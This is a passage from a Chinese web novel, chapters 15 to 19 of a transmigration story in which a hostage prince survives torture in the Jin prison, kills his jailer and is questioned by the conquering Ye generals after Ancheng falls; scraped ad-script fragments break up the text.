window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 没想到九皇子真的是卧底,被他曝了身份后直接就被关到了天牢。 他的牢房就在对方的隔壁,他每天都能看见对方受到怎样的折磨,所幸的是九皇子被抓了之后晋国已经不在乎他了。 刘安眼睁睁地看着晋国对质子用了各种手段,看着这位孱弱的质子晕了醒,醒了晕,一步步被折磨成现在半死不活的样子。 他当然也听见了之前的对话,当然知道安城就要被邺军打下来了。 要是让将军知道是他把九皇子说了出来,九皇子还死在晋国牢狱,别说是他自己了,他全族都会受牵连。 虽然他之前把云容供了出来,但是云容并没有落入晋国手里,他的全族还可以免受牵连。 可是现在他供出来的是皇子,这位皇子还是卧薪尝胆在晋国待了五年的卧底,要是对方真的出了什么差错,他们全族都不够砍的。 刘安觉得他之前简直是脑子进了水,瞎说个什么名字不好,非要把皇子扯进来。 现在九皇子都不知道能不能坚持到安城城破的那一天,刘安心里发苦。 翌日,天刚蒙蒙亮,邺军对安城再次发起突袭。 安城守将已经被这几日频繁的突袭搞得疲惫不堪,连防守都比之前松懈很多。 但他们没想到,邺军这次派来的是精锐部队,数支千人小队把握机会,很快在安城撕出一个缺口。 晋军这才幡然醒悟,只是此时部队已经军心涣散,被邺国大军一冲,很多晋国士兵连情况还没搞清楚就死在了邺国士兵的刀下。 蒙阙带领金吾卫拼杀在最前方,邺国士兵很快就发现他是个棘手的敌人,数十人企图将他围困致死。 蒙阙无视身前的刀剑,任由邺国士兵刺进他的身体,他双眼充血,将他身前的邺国士兵尽数斩杀。 但也只是如此了,刺入他身体的刀剑不断增加,大量的血液流失,蒙阙最终无力地倒在了尸横遍野的安城。 他涣散的眼睛盯着天空,耳边是士兵的呐喊与哀嚎,有邺国的,但更多的是晋国士兵。 无数士兵在他身边倒下,有的是同他出生入死的战友,有的是入伍时日不多的、他还没记住名字的年轻面孔,他们在他身边倒下,又跨过他的身体继续向前,最终他们同他一起毫无生机地倒在了初升的旭日前。 在生命的最后,映着日出熹微的曙光,蒙阙耳边回荡着对方那句“大势所趋”。 大势所趋,蒙阙嘴角稍稍扬了扬,这已是他的身体在生机断绝前所做出的最大程度的反应。 大势所趋又如何,就算知道结局,他还是想守住——他的国,他的家。 守着晋国,直到最后一刻。 晋国将军蒙阙,生于武将之家,于束发之年自请参军。一生戎马,颇得晋国国君信任。晋邺之战,晋军不敌,退守晋国国都安城。时朝中多有迁都之声,蒙阙激烈反对,扬以死报国之心,最终战死于安城,年四十二。 15. 炮灰质子(15) 李淮景知道邺军发起总攻的那一刻就知道,安城已经守不住了。作为时日无多的晋国皇帝,他下了人生中最后一道命令:杀了舒明尘。 常笠早有预料,他等这个命令等了许久,现在终于如愿了。 常笠深得晋国刑狱之精髓,由他亲自处理一个人的性命,那可是比千刀万剐还要痛苦。 安城之战的结果几乎是注定的,有了前段时间的铺垫,邺国大军并没有费多大力气就将这座晋国的都城收入囊中。 谢南渝带领一众部将打入皇宫的时候也是极其轻松,有云容提供的情报,谢南渝手下的人很快就控制住了局面。 在势如破竹的大军面前,这座壮阔华美的宫殿也在瑟缩着,任由对方接手了各个宫门的守卫。 天色已经大亮了,谢南渝动了动有些酸痛的脖颈,在他仰头的刹那,恰有一片雪花坠了下来,那晶莹的一片在他的视线里慢慢下落,世间仿佛都静了一瞬,等他回过神的时候,那片雪花已在他手心里变作了一滴微凉的雨。 下雪了。 只是远在天牢的舒明尘是不知道外面发生了什么,但他发现天牢内狱卒少了很多,以前他这间牢房狱卒最多,今日竟然只剩下常笠一个人了。 那些狱卒呢? 难道谢南渝开始进攻了? 还没等他细想,他身上的镣铐就被解开了,只是他的身体显然支撑不住,在解开的一刹那,整个人就因为惯性脸朝地面栽了下去。 舒明尘:……不是,兄弟,大家同为反派,就不能互相体谅一下吗? 幸亏他条件反射地用胳膊垫了一下。 他与地面挨得太近,于是他便能很清晰地感受到一股冷意,与环境无关,是独属于冷兵器的寒凉,在常笠把他拖起来前,他张嘴衔住了那一小段铁片。 周围静谧无声,仿佛一切从未发生。 舒明尘身上的镣铐已经完全解开了,于是常笠便拖着他,一点一点向牢房深处走去。 倒是没想到常笠看上去是个文弱的书生,力气还挺大的。 就是太瘦了,舒明尘感觉他的两侧肋骨都要被硌的变形了。 这条路很长,在昏昏沉沉的意识里,他听到好像是机关打开的声音,然后便进入了一片黑暗。 他眯了眯眼,在眼睛适应了昏暗的的光线后,开始暗中观察他所处的地方。 这是一间暗室,整个房间幽暗闭塞,空气中混杂着满是腐朽与血腥的味道。 至于它的用途,不言而喻。 “陛下已经下令,要我在今天杀了你。”常笠这样说着,手上动作不停。 舒明尘感觉到手臂再次被吊起,一柄微凉的匕首贴住了他的手腕,上下移动的瞬间,血液便争先恐后地滴落。 “我也很好奇,”他们之间离的很近,常笠听见了突然粗重的呼吸声,于是他低头慢慢笑了起来,“像殿下这样的人,死之前和别人又有什么不同。” 随后他如法炮制地将匕首伸向舒明尘的右手,忽然他看见面前的人嘴唇动了动,于是他便凑近对方,想听听这最后的遗言。 没有遗言,只有一片被磨得极其锋利的铁片。在敌人的脆弱暴露的刹那间,它已极快的速度划开了他的喉咙…… 常笠蓦然睁大了眼睛,想要远离,却已是徒劳。 就……就要这么死了…… 在他的脸色逐渐变得灰败的过程中,他的一生如走马灯般在脑海中闪过,富庶无忧的童年,家庭巨变后的难捱,求学之路的艰难,初为狱卒的冷眼,及掌庭狱的艰难…… 他最后一次闭上了眼。 想回家,回到小时候,父亲是礼官,母亲操持家业,生活自由而散漫,再不用考虑过去、现在和将来。 父亲说,他实在是熬不过狱中折磨人的手段,只能在那张与他无干的认罪书上画押…… 他有时会冷漠地想,熬不过就去死,不画押,便不是罪臣,他也不必为了这么个见不得光的官职拼上一切。 可等到他真正地做到了刑官,才恍然:刑狱之外,死亡很容易,刑狱之内,却很难。 他拷打过许许多多的人,他们在他面前哀求,各种情态,最后还是抵不过种种遭遇,画押认罪,然后合乎法理地死去。 是非黑白,只是一句空话。持正自身,原来,真的很难。 他怨恨了父亲二十余年,可在他终于理解父亲的时候,他已经无法回头了。 这世道便是这样,不做刀下魂,便为持刀者。 后来,他遇到一个人,病病弱弱的,还搅和朝廷大事。 他想,这个人要是落在了他的手里,估计都不用上刑,只吓一下,就会痛哭流涕地招供。 之后这个人真的落在了他的手里,可是却没有如他想象般好对付。 他恍悟:原来,世界上真的有这种人,而他和父亲,终归缺少了一些意志。 可是拥有一份坚持下去的意志,真的太难了。 他忽然很想很想他的父亲,想让父亲摸摸他的头对他说没关系。 在弥留前这样强烈的情感下,在越来越恍惚的意识中,他好像真的看见了他的父亲,他的父亲就站在他的面前,离得好近,他伸手想要触碰,却看见自己扬起了刑鞭…… 曾经痛恨刑狱的少年,最终也成为了刑狱的一部分。 …… 解决了。 嘴里是浓重的血腥气,舒明尘都想直接吐掉嘴里的铁片,但是被缚的手迫使他只能继续用嘴里的铁片割掉绳子。 然后——“系统,怎么出去?” 系统默默捂住自己的脸,虽然它只是一堆数据,是没有脸的。 “ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 舒舒对不起,我刚才,没注意看……”它以为这次必死无疑了,就没再注意这些细枝末节的事。 细枝末节的事…… 他要是完不成任务绝对是系统的锅!!! “可是舒舒,我们等别人来救不也行吗?” 舒明尘沉默了一下。 “……你觉得谁会来救我?” 系统哼哧哼哧了半天,也没说出一个人来,它本来想说云容,但是云容不知道是舒舒送的令牌,来救人的可能性很小。 在系统沉默的时候,舒明尘已经来到入口处。 果然还是要靠自己,常笠是按了哪块来着,机关处和别处不一样,听声音应该能听出来,他一边敲着石壁一边想着,就差一点了,出去,活到安城攻占后,然后死在随便一个邺国士兵的面前,全部积分就可以到手了。 小弟不靠谱,他这个大哥只能硬着头皮想办法完成任务。 毕竟再坚持一会就可以拿到全部积分了。 就在舒明尘扶着墙壁慢慢摸索的时候,云容等人已经来到了这里,只是他将整个牢狱搜遍了都没找到舒明尘。 云容的表情已经很不耐,直接提着刘安问道:“你确定殿下就在这里?!” 刘安简直欲哭无泪,他本来想将功赎罪,但没想到引火烧身,那个人到底带九皇子去哪了! 谢南渝就在一旁面无表情地旁观,左右他对这个质子观感很差,死了最好,不死…… 忽然,刘安像是想通了什么似的,激动地说道:“有密室,对!就是密室!”他目光急切地望向周围的士兵,“就是有密室,快找啊!可以找到的,一定有的……” 几乎有些语无伦次。 云容耐心耗尽,直接将他掼在墙上,发狠道:“说实话,别在这胡言乱语!” 而此刻,舒明尘终于在体力耗尽前找到了机关所在,用力一按,沉闷的开合声响起,在空荡荡的大牢内尤为明显。 云容脸色一变,直接把手上的人丢在一边,大步向声源处走去。 谢南渝站在原处有些若有所思,瞎猫碰见死耗子,还真让刘安蒙对了,那个质子应该凶多吉少了,能打开机关的人,绝对对晋国牢狱了如指掌,还能是一个邺国的质子不成? 舒明尘走出暗室的时候,正好看到一队士兵浩浩荡荡地向他走过来,走在最前面的是云容。 云容回到谢南渝身边真是不一样了哈,穿上铠甲威风凛凛的,他一开始都没认出来。 至于他最后是怎么确定的,当然是系统在他脑袋里狂轰滥炸:“是云容啊舒舒!我就说,云容会来救你的……” 不是统子,你哪说过啊? 怎么连系统也玩事后诸葛亮那一套? 舒明尘对这种行为很是不屑。 菜就承认,大哥又不会笑话你。 16. 炮灰质子(16) 在看清现状的那一刻,云容的呼吸停滞了一瞬,几乎有些不敢确定眼前的人会是质子。 随后而来的谢南渝看到这种场景也是震惊了一下,他实在没想到,这个九皇子的伤比刘安还重,但是为什么?为了泄愤? 他隐隐感觉到有些不对,只是眼下还是先找个太医,不然还没等他探明究竟,这位九皇子就死了。 军医远在大营后方,他只好先吩咐士兵在皇宫里找个医师过来。 不行了,实在是,撑不住了。 舒明尘近乎脱力般倒在了这道暗门前。 有人走到了他面前,是云容。 “赢了?” “……嗯。” 舒明尘欣喜若狂,舒明尘喜极而泣。 任务终于完成了!他现在就要离开这个世界! “等等!舒舒等等!我们得见到谢南渝才算任务完成。”系统着急地连机械音都要控制不住了,生怕舒明尘一闭眼就走了。 哦,对哦!他的任务是见到男主,不捅对方。现在连男主都没见到,任务完成个鬼啊。 舒明尘觉得他烧了这么多天都快把脑子烧傻了,竟然把任务给忘了,幸亏有系统帮忙,舒明尘在脑海中给自家系统点了个赞。 于是舒明尘道:“我要见谢南渝。” 云容没有反应,其他士兵眼观鼻鼻观心,安安静静立在两旁。 舒明尘摸了摸鼻子,有点尴尬啊…… 不过也是,谢南渝见他一个叛国的皇子干什么,没直接让云容杀了他都是好的了。 可恶!距离任务完成就差临门一脚了。 嗯……让他想想…… “我有那个给你令牌的人的线索。”他试图给自己加点筹码,他是叛国的皇子不能见的话,加上这个情报应该行吧? 什么! 云容不可置信地抬起头,这件事本不该是一个留在邺国的质子知道的。 舒明尘有气无力道:“让他来见我,现在。” 晚点就要嗝屁了。 然后,他就听见一道声音从他云容身后传来,“臣谢南渝,见过殿下。” 舒明尘:!!! 系统:!!! 所以他刚才说完云容没反应是因为,谢南渝就在他面前? 舒明尘再次见识到了系统的不靠谱,毅然决然决定收回之前的赞。 他不知道男主在他面前就算了,毕竟无论是他还是原主之前没见过谢南渝,但是系统知道啊!男主的容貌是作为基本情报储存在系统的数据里的。 系统在脑海中哭天喊地,舒明尘冷酷无情地表示这事没得商量。 跟系统闹归闹,任务还是要完成的。 舒明尘认命地抬头看了眼男主,嗯,剑眉英挺,鼻正唇薄,身着一身铠甲不怒自威,不愧是男主。最重要的是,对方好端端的,接下来剧情可以正常发展了。 耶!任务完成。 舒明尘在脑海中跟系统欢天喜地庆祝本次任务圆满完成。 谢南渝有些奇怪地看着这个质子盯着他看了很久,他本来以为对方是想让他饶他一命,但是现在看来…… 谢南渝拧了拧眉,这九皇子在想什么。 回过神来的舒明尘刚好看见皱着眉看他的男主,吓得他一激灵,心想:难道是谢南渝嫌他迟迟不说情报? 他略略思索了下,说是他自己肯定是不可能的,那就说的模糊点:“那个人给云容的令牌是从我这拿走的,你们可以从我身边的人查一查。” 完美!不但把他自己摘了出去,还顺便解释了他在天牢的原因。 云容后知后觉地也意识到了这点,抿着嘴不知道说些什么。 做完所有一切的舒明尘已经疲惫到了极点,连日的刑讯和失血让他的脸色苍白的吓人。 要结束了。 云容在他身边,几乎是立即感受到了他的变化。他张了张嘴,“殿下……” 他大概是想说些什么,但还没说出来就被舒明尘截住了。 “不必救我。” 顺着昏昏沉沉的意识,他闭上眼睛,任由自己沉入了黑暗。 谢南渝上前在舒明尘的侧颈处按了按,瞥了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 眼一旁紧张的云容,平淡道:“还活着。” 随后转头问道:“那个人怎么回事?” 是在暗室里一时不察被舒明尘杀死的常笠,暗门打开后,几名士兵在谢南渝的授意下进去搜查,发现除了常笠外再没别人了,便把这人拖了出来。 “回将军,属下五人已仔细搜查过,此暗门内除一些刑讯逼供之物外,唯有此人。此人仅在脖颈间一处伤口,经仔细查验可确定,一击毙命。” 说完,他身旁的另一士兵,便把沾着血的铁片呈了上去,“所用武器,应是此物。” 赫然是舒明尘解脱之后随意丢在地上的一节薄片。 刘安瞅准时机,“咚”的一声跪地求饶: “将军,小人自知出卖统领和殿下,罪孽深重,自当千刀万剐,以偿罪业,但求将军看在小人在晋国数年宵衣旰食,未有一丝懈怠,也曾帮助过殿下,求将军放过小人的亲眷,小人下辈子必做牛做马,结草衔环报答您的恩德啊将军!” 他这一番说辞可谓是极具巧思,不仅将眼前的功劳揽了下来,还诉说了这些年的辛劳,在事后算账的节点,他眼下也确实有几分真诚的后悔,这番话听上去倒是十分真心实意。 谢南渝闻言凉凉地看了他一眼,道:“既如此,你就安心去吧。” 差点把云容害死在这里,还敢在他面前耍这些嘴皮子,他平生最讨厌那些一张嘴上下一碰就把别人推出去顶嘴的言官。 至于九皇子,这个人活着最好,这样他就可以给沈家一个交代;死了也没关系,他也并不是很在意。 刘安当即愣了一下,大概没想到谢南渝会说出这么一番话来,一时不知如何应答,直到一名士兵走到他面前,抽出血淋淋的剑,他才开始尖叫求饶:“将军,我有功,我……” “噗呲”——是刀刃刺进皮肉的声音,随着收剑的动作,剑又安安稳稳地回到了剑鞘里。 这间牢房里,又多了一具尸体。 刘安睁大眼睛望着虚空,像是还有话没说完,又像是不甘心。 所作皆为生,所为不可生。 17. 炮灰质子(17) 皇宫内稍微有些门路的人都跑了,还留在这里的人要么是没有人脉,出不了宫门,只能在这里等死;要么是孑然一身,在安城无亲无故,就算出宫了,也没有去处。 林汝声就属于后者。 他本来不在宫中任职,是晋国皇帝一次南巡过程中碰巧看见了他施针救人,觉得这个郎中不错,大手一挥,就让他进了皇宫做个太医。 林汝声就这么进了皇宫。 但之后晋国皇帝就把他抛之脑后了,林汝声本来就是个民间郎中,他的医术其实也算是不错,但太医院其他人瞧不起出身草莽的他,加上又是空降的,更是处处排挤。 他在太医院过的可谓并不如意,但好歹他是皇帝亲口塞进来的,倒没有人敢把他赶出去。 林汝声就这么在太医院待了几年,直到邺军攻破安城,打进皇宫。 他被抓过来的时候都是战战兢兢的,生怕这些士兵一不小心就让他的脑袋落地。 结果他听见士兵说是让他救质子。 林太医松了口气,质子他熟啊,这位每次受完刑都是他负责的。 这主要是因为他之前受排挤,干的都是别的太医不愿意干的活,质子的事就落在他头上了。 他之前给这位质子开了那么多吊命的药,想来应该没有什么性命之忧。 然后他就看见了失血过多,脸白的的和死人没什么两样的质子,这,这还能活吗?! 林太医咽了口唾沫,颤颤巍巍地号了号脉,发现情况比他想象中好点,但也没好太多。 这位邺国皇子本来身体就虚,又在牢狱中蹉跎这么久,现在又失血过多,虽说及时止住了血,但对方现在气息微弱,仿佛随时都要断气。 他诚惶诚恐地把情况说了出来,那位邺国的将军倒没有太为难他,只是吩咐了一句“尽力救治”。 他把舒明尘自己在手腕上绑的乱七八糟的布条解开,又重新包扎了一下,确保不会再出血,就提出要换一个干净的地方处理一下别的伤口。 之后便有士兵将他们带到了一处偏殿。 舒明尘身上的伤口很多,新伤叠旧伤,人体本身的自愈功能导致新长出来的皮肤和衣物连在了一起。 在处理伤口前,需要把衣服和皮肤分离,相当于要把新长出来的皮肤硬生生地撕开。 这个过程很痛苦,就算现在舒明尘已经昏过去了,林太医还是找了几个士兵帮忙按住他的身体。 不过让林太医没想到的是,那位看上去冷肃的谢将军主动上前帮忙,他想:毕竟这位是个皇子,将军亲自来也是够格的。 谢南渝和云容一左一右按住舒明尘的身体,对方反射性的挣扎在他们手下不值一提,固定身体的手一直很稳。 直到整个过程结束,舒明尘白皙的额头上已经覆上了一层冷汗,云容抬起手想为对方擦去,但他到底刚打完一场仗,手上满是血污,一时之间倒是僵在了半空。 看见这一幕的谢南渝嘴角抽了抽,他实在无法理解,自己之前雷厉风行的下属怎么到了舒明尘面前就变成了这样。 不过,他敛了敛眉,隐隐感觉有些不对。 按理来说,刘安才是真正的邺国暗探,而舒明尘仅仅因为丢失了个令牌,但他身上的伤比刘安严重太多了。 是什么原因,让晋国放过一个明面上的邺国暗探,转而去折磨九皇子呢?他可不是邺国卧底。 等等,谢南渝眉心跳了跳,难道晋国认为,舒明尘是卧底?! 他想起刚才刘安说,“不得已出卖殿下”? 所以,晋国就信了?还是有点不太对啊。 攻破安城后的安顿事务很多,刚刚在质子这已经耽误不少时间了,谢南渝只能先压下心中的疑惑,去安排剩下的事。 他说走就走,走之前还叫上了站在床边像个雕塑似的云容。 云容到底在安城待了五年,有些事情带着云容会方便很多。 …… 舒明尘整整睡了三天,他刚醒的时候还没反应出这是哪里,看着头顶的浮雕怔了一会。 直到系统在脑海里小心翼翼问道:“舒舒,你还好吗?” 舒明尘抱着最后一丝希望:“这是第二个世界?” 系统十分卑微:“舒舒不是,那个,最后来了个太医把你救回来了。” 舒明尘:……这都什么破事啊,他任务都完成了还要被强制加班。 让他加班?不可能! 他当即就要起来找个柱子去撞,结果刚一坐起来眼前就开始发黑,他晕乎乎地靠在床头,缓了好一会眼前不断变化的色块才消失。 这垃圾身体到了关键时候还是这么不给力! 他简直要抓狂,他这个任务完成的多不容易,好不容易临死前见到了男主把任务给完成了,结果他还要拖着这么个破身体加班。 淦!!! 舒明尘生无可恋地表示赶紧来个人把他送走吧。 “殿下,请用茶。” 大概是察觉到他醒了,一名宫女恭恭敬敬地跪在地上奉茶。 (⊙o⊙)… 谢南渝在搞什么?为什么还救他,救了他还给他安排了人照顾他,难道他没造反?可是他如果没造反,原主那个愚蠢的父皇就不会让他打到这里来。 嗯……
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 他忽然想到,好像原剧情里,谢南渝也没有第一时间杀了原主,所以才让原主有机可乘。 舒明尘一边从宫女手上接过茶,一边跟系统讨论着谢南渝这么做的原因,倒是没注意安安分分候在一旁的小宫女,此刻正微垂着头,偷偷用余光打量着他。 殿下可真好看啊,怪不得两年前为殿下的府邸挑选宫人的时候,很多姐姐都抢着去,说质子长得好,性格又好,事情又少,去那里可比在宫里好多了。 可惜那时候她只是个洒扫宫人,月俸很少还要拿去打点关系,也没有什么积蓄,只能躲在角落里羡慕地看着那些可以走出宫门的宫人。 要是能出去,就算只是短暂的几年,就已经很好了。 谢南渝一进门就看见了主仆和谐的一幕,脚步略微顿了顿,还是迈步走了进去。对这个九皇子,他可是有一堆问题呢。 质子在天牢的原因很好查。 刘安已经痛哭流涕地交代过,他当时一时糊涂才失言将质子说了出来,他并不知道质子真的是卧底。 他知道自己已经将云容暴露出去,难逃一死,希望将军能看在他冒死救了质子一命的份上,饶过他的亲族。 这番话里有明显的漏洞。 质子与晋国合作这么久,晋国怎么可能会因为一个邺国暗探说的一句真假不明的话就对质子百般折磨? 除非……晋国查到了什么,查到了可以认定质子就是邺国卧底的证据。谢南渝眼中的精光一闪而逝。 不,也不一定是证据。在当时情况下,质子身上只要有疑点,就会成为对方在天牢的理由。 不过,这点谢南渝目前并没有查到。 舒明尘在晋国五年,晋国国君亲自下令,查到的东西只会比他此时查到的更为详实。 既然他查不到原因,不妨直接问问当事人好了。 九皇子现在被他捏在手里,从对方嘴里撬点东西,应该挺容易。谢南渝理所当然地想到。 这也就是谢南渝出现在偏殿的原因。 脚步声让舒明尘的目光移到了来人身上,他偏头看去,就看见谢南渝步伐稳健地走了进来。 男主哎,舒明尘盯了盯对方的脸,不愧是男主,这张脸确实无可挑剔。 谢南渝的脸其实是很符合翩翩公子设定的,但是由于他在战场上浸染多年,周身自成一种肃杀冷冽的气质,根本没有人敢像舒明尘这样直接盯着他。 打量的视线很明显,谢南渝自然能察觉到。他若有所思地看了眼这位质子,想起之前在天牢,对方也是眼睛一眨不眨地盯着他。 真奇怪,明明之前他们从未见过。 18. 炮灰质子(18) 谢南渝在床前站定,打量着这位传说中的九皇子。对方下半身掩在被子里,上身只着白色的单衣,脸色是不正常的白,下巴瘦削,看来晋国牢狱倒真是让他吃尽了苦头。 “殿下昏迷了三天,如今可感觉身体好些了?”谢南渝向来是个很会掩饰自己情绪的人,不管他心里有多么厌恶这位质子,语气仍然体贴的恰到好处。 舒明尘被他这句话雷的里焦外嫩,不是吧,他都把邺国皇室圈禁了,还在这演呢? 他勉强摆好表情含糊应了一声,问了一句有没有抓到晋国皇帝。 “当然。他如今正被关押在天牢。”谢南渝注意到对方僵硬的表情,暗自思衬,他刚刚的话有哪里不对吗? 确定重要剧情点没变化,舒明尘觉得他这次任务完成的还挺完美的,除了之前剧情偏了一点点。 没关系,让谢南渝把他杀了,后续剧情应该就不会偏了。 “臣有一些事情不明,不知殿下可否臣为解惑?”这是谢南渝来见这位九皇子的主要目的。 舒明尘诧异,男主竟然有问题问他?有什么疑问是他这个小炮灰可以解答的? 没有理会对方疑惑的眼神,谢南渝慢条斯理道:“殿下如何得知,给云容令牌的人不是臣安排的?” 哦,原来是他自己给自己挖的坑。 都怪系统这个不靠谱的! 在谢南渝审视的目光下,舒明尘的脸色僵了僵,为什么,当然是因为令牌是他给云容的。 但是他能说出来吗?不能啊!他现在是叛国的皇子,这样的事情怎么能是他做的? “我为什么要告诉你?”舒明尘神色冷淡。 笑死,他是反派哎,男主问什么他就要答什么吗? 舒明尘坚定地表示炮灰反派也是反派。 谢南渝笑笑,他本来就是翩翩公子的长相,这么一笑更像了。只是说出的话与外表大相径庭。 “殿下还不知道自己现在的处境吗?殿下身边都是臣的人,九皇子伤重不治,不幸身亡,这样的借口用来搪塞其他人已经够了。更何况殿下叛国之事举国皆知,就算臣‘误杀’了殿下,殿下觉得,臣会因为此事被问罪吗?” 哦,那又怎样,完成任务的反派无所畏惧。 舒明尘不为所动,甚至对于谢南渝要杀了他这件事还有点期待。 谢南渝的手已经覆上他的脖子,指节粗糙的茧刺激他的皮肤有些战栗。 谢南渝看着手下蜿蜒的血管,就像九皇子这个人一样,看上去既脆弱又倔强。 明明一折就断,却总是表现地这么硬气。仿佛对方是多么清高不屈,倒显得他是个恶人般。 谢南渝嗤笑一声,松开了手,“殿下勇气可嘉。” 一般一般,世界第三。舒明尘谦虚地表示。 谢南渝面上倒是没有多生气,继续问道:“阳谷关的作战计策,是殿下提出的?” 舒明尘点头,系统想出来的就是他想出来的,他和系统不分彼此。 他望着谢南渝,有些惋惜地说道:“倒是可惜了。” 可惜他没被挡在阳谷关外,可惜他还是打进了安城。 他微微抬了抬眼,望向对方的眼神既惊讶又疑惑:“殿下何出此言?若非臣及时攻进安城,殿下可真的要死在晋国天牢了。” 啧,舒明尘发现这个男主是个白切黑的,话听上去倒是不急不缓,实际上是在拐着弯地讽刺他。 舒明尘没必要和谢南渝辩论,他就是想刺激一下对方把他杀了。听到这句话他也只是无奈耸耸肩道:“我也没想到。” “殿下在天牢时曾说要见臣,不知殿下有何吩咐?”谢南渝抽丝剥茧,一丝一毫的细节都没有放过。 当时这位质子都要死了,为什么还要见他?见了之后就盯着他看了一会,一句话也没说。 舒明尘又想起了当初男主就站在他面前,他还给自己挖个坑说要见对方的情形,现在想起来他都要尴尬地找个地缝钻进去。 ……他难得沉默了一会,总不能说是因为要完成任务。 “不知道,可能是快死了神志不清。”摆烂摆烂,大不了谢南渝一刀杀了他。 谢南渝也没想到对方沉默这么久,最后编了这么个理由。 没错,这话一看就是编的。 神志不清?这位质子当时还知道用那个情报见他,哪里神志不清了? “还有别的问题吗?”他双手捧着杯子语气轻松地问道,仿佛他一直在认真地回答问题。 “殿下被晋国抓进天牢是因为那块丢失的令牌?”谢南渝看似漫不经心地问道。 舒明尘不假思索:“对。”反 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 正他的令牌确实是到了云容手里。 “没有别的原因?” “不知道。” 谢南渝闻言深深看了他一眼。 舒明尘面无表情地看回去。 问题倒是都问完了,但是得到的回答让他并不满意: 九皇子对令牌的事咬死不说,而且,他隐隐感觉,晋国不会仅仅因为一块丢失的令牌就把质子折磨到这种程度,甚至为其准备了那么恐怖的死法。 一定有别的原因。 而且这个原因,舒明尘这个当事人不可能不知道,但是他并不想说。 他这几天忙的脚不沾地,有关质子的事情都是从原来牢狱内的狱卒那得知的。但是这种程度的调查显然不够,左右现在质子在他手里,也翻不出什么浪花。 但是今天对方的表现倒是跟他想象中大相径庭,他又想起云容之前说的话,看来这位九皇子,得深入查一查。 谢南渝垂眸思索,沈司这几天就要到了,这件事交给沈司倒是可以。 眼看着谢南渝问完就想走,舒明尘急忙叫住了他:“等等。” 谢南渝脚步不停,连头都没回,只是淡淡地说道:“殿下若是有任何需要,可以……” “谢南渝!”舒明尘差点把牙咬碎,这个男主什么性情,面上装的跟个什么似的,一口一个殿下,实际根本没把他当回事。 他倒也不是在乎这个,但他在乎的是加班,他现在这个身体加班就是遭罪啊! 眼看着对方脚步顿了下,他连忙问道:“你什么时候杀了我?” 一瞬间整个房间的空气都停滞了下,舒明尘默了下,这个男主不按套路出牌,他这也是没办法。 谢南渝似笑非笑地转过头,语带温和地说道:“殿下想知道?” 舒明尘下意识地点了点头,就听见对方戏谑道:“等殿下什么时候决定把之前的答案告诉臣的时候,臣自会告知殿下。” 靠啊!这个男主真的好奸诈!舒明尘瞪大眼睛,难以置信。 他的眼眸狭长,平时低眸思索的样子总是显得很高冷,现在或许是太过震惊,狭长的眼眸做出这种样子让人忍俊不禁。 谢南渝反将了一军,心情还算不错。又看到舒明尘这副震惊的样子,不由得挑了挑眉,嗯,比之前板着脸的样子顺眼多了。 19. 炮灰质子(19) 谢南渝说完就翩翩离去,留下舒明尘在床上目瞪口呆。 早在谢南渝进来的时候,那个奉茶的小宫女就慌慌张张地退下了,此刻的偏殿里倒是只有舒明尘一个人。 估摸着谢南渝应该已经走远了,他将手中的茶杯轻轻一掷。 这个偏殿是距离天牢最近的,因此位置偏远,看得出已经很久没有住人,内里的装饰已经很破败了,不过如此,倒是方便了。 “砰”——完好的茶杯碎裂成无数片,只是还没等舒明尘做出行动,几名宫女鱼贯而入,训练有素地清理完,留下两名宫人,余下又退了下去。 …… 他感觉这两个人是来监视他的。 “统统,她们来的太快了。”舒明尘痛心疾首。 而且还留下两个人,就算他想搞小动作也搞不成了。 “舒舒没事,沈司来了我们就下班!” 舒明尘拍了下头,他怎么把另一个主角给忘了,由于原主这个反派,沈司可真是受了不少苦,沈司应该很想杀了他这个始作俑者。 不过话说沈司去干什么了,怎么还没出现,按理来讲,这两个主角不应该在一起吗? 要不怎么培养感情? 舒明尘百思不得其解,然后决定躺平。 反正现在谢南渝在这里,沈司早晚会来。 纯爱位面的主角定律啊。 …… 春回大地,万物复苏。 沈司骑马赶到安城的时候正是立春时节,春寒料峭,临近年关,北地的寒风依旧刺骨。 他带着一身的寒气进入偏殿时,舒明尘人还窝在被子里打哈欠。他这几天一直在发烧,脑袋昏昏沉沉的,典型的身体醒了脑子没醒。 沈司进门的时候,舒明尘还没反应过来这是谁,呆若木鸡地看着几个人闯了进来。 “见过殿下。”几人抱拳,算是行了礼。 “啊,哦哦……” 什么啊,风风火火闯进来就这,白瞎了他的期待。 “镇北军左副营使沈司,奉命问讯于殿下,请殿下如实相告,莫要藏私。” 舒明尘和系统激动地都要哭了,他俩盼星星盼月亮终于把沈司盼来了,现在沈司说啥他干啥,沈司要他死,他马上就去撞刀自尽。 但舒明尘还记得自己是个好员工,关键时刻不能崩人设,他努力压抑着自己激动的心情,尽量面色如常地答应了一声。 这幅伪装在沈司面前并不起什么作用,他已在军中生活多年,见识过各种各样的人,看破一些刻意隐藏的情绪是再平常不过的事情。 只不过他以为舒明尘此刻是恼怒而已,毕竟皇子可不是随随便便就能问讯的。他目前如此做法,在对方看来,确实不合规矩。 但沈司并不想多说什么,他对面这位识时务的聪明人,并不需要他做这些表面功夫。 整个过程也正如沈司所预料的那样,舒明尘认罪认得干脆痛快,连原因都说得明明白白——勾结敌国,图谋皇位,是适合写进定罪文书的好名头。 “还有一项,”他道。 舒明尘看了眼记录官写的,不差什么了啊,他干的所有事情都写上去了。 在沈司的示意下,记录官换了张新纸。 “当初你诬告我父亲贪污一事,来龙去脉,说清楚。” “啊?”可是他没有接收原主的记忆啊? 在沈司压迫性的目光下,舒明尘硬着头皮解释道当年的事他记不太清了,瞅着沈司脸色变冷,他忙不迭的表示,可以请沈司帮忙说明,他会签字画押。 然后舒明尘看到沈司似乎更生气了。 “记不清了?”他盯着这个人,忽的笑了一声,这实在并不像是笑,反倒像是嘲讽,“那就请殿下好好想,慢慢想,我们几个会在这里陪着殿下一起想。” 他说完便坐到了舒明尘的对面,大有一种“只要舒明尘不‘想起来’,他就不走”的架势。 …… 舒明尘无语凝噎。 